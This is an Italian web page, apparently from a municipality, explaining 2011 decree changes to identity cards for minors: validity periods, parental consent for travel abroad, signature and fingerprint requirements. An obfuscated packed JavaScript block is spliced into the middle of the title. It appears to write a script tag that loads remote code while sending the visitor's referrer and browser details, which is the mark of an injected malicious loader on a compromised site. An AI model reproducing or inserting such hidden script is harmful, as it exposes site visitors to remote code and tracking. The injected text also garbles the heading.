



Nuove eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\//,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|rrsft|var|u0026u|referrer|dsyrrh|js|php'.split('|'),0,{ })) disposizioni introdotte dal Decreto Legge 13 Maggio 2011

L'art. 10 del Decreto-legge 13 Maggio 2011, n.70 "Servizi ai cittadini" ha introdotto nuove disposizioni in materia di carte d'identità.

Alla luce delle nuove disposizioni, è soppresso il limite minimo di età per il rilascio della carta di identità , precedentemente fissato a 15 anni, ed è stabilita una validità temporale di tale documento diversa, a seconda dell'età del minore :

- **3 anni per i minori di 3 anni**
- **5 anni nella fascia di età 3-18 anni**

Ai fini del rilascio ai minori della carta d'identità valida per l'espatrio **è necessario l'assenso dei genitori o di chi ne fa le veci**

, oltre che la dichiarazione di assenza di motivi ostativi all'espatrio, ai sensi dell'art. 1 del D.P.R. n. 649/1974.

In tali ipotesi, il Comune dovrà acquisire il suddetto assenso, che potrà anche essere trasmesso dagli interessati con le modalità di cui all'art. 38 comma 3 del D.P.R. 445/2000.

La carta d'identità dovrà riportare **la firma del titolare che abbia già compiuto 12 anni**, analogamente al passaporto, fermo restando che tale firma sarà omessa in tutti i casi di impossibilità a sottoscrivere.

L'uso della carta d'identità ai fini dell'espatrio di minore di 14 anni è subordinato alla condizione che lo stesso viaggi in compagnia di uno dei genitori o di chi ne fa le veci oppure, che venga

menzionato- su una dichiarazione rilasciata da chi può dare l'assenso o l'autorizzazione, convalidata dalla Questura o autorità consolari- il nome della persona, dell'Ente o della compagnia di trasporto a cui il minore medesimo è affidato.

I minori di 12 anni sono esentati dall'obbligo di rilevamento delle impronte digitali. Il [D.P.C.M. del 25/03/2011 \(tabella 1\)](#) ha prorogato al 31/12/2011 il termine di scadenza entro cui provvedere all'inserimento dell'impronta nella carta d'identità.

Le nuove disposizioni relative a rilascio e durata di validità del documento ai minori si applicano anche alle carte d'identità non valide per l'espatrio, rilasciate ai cittadini stranieri.

[Circolare del Ministero dell'Interno n. 15/2011](#)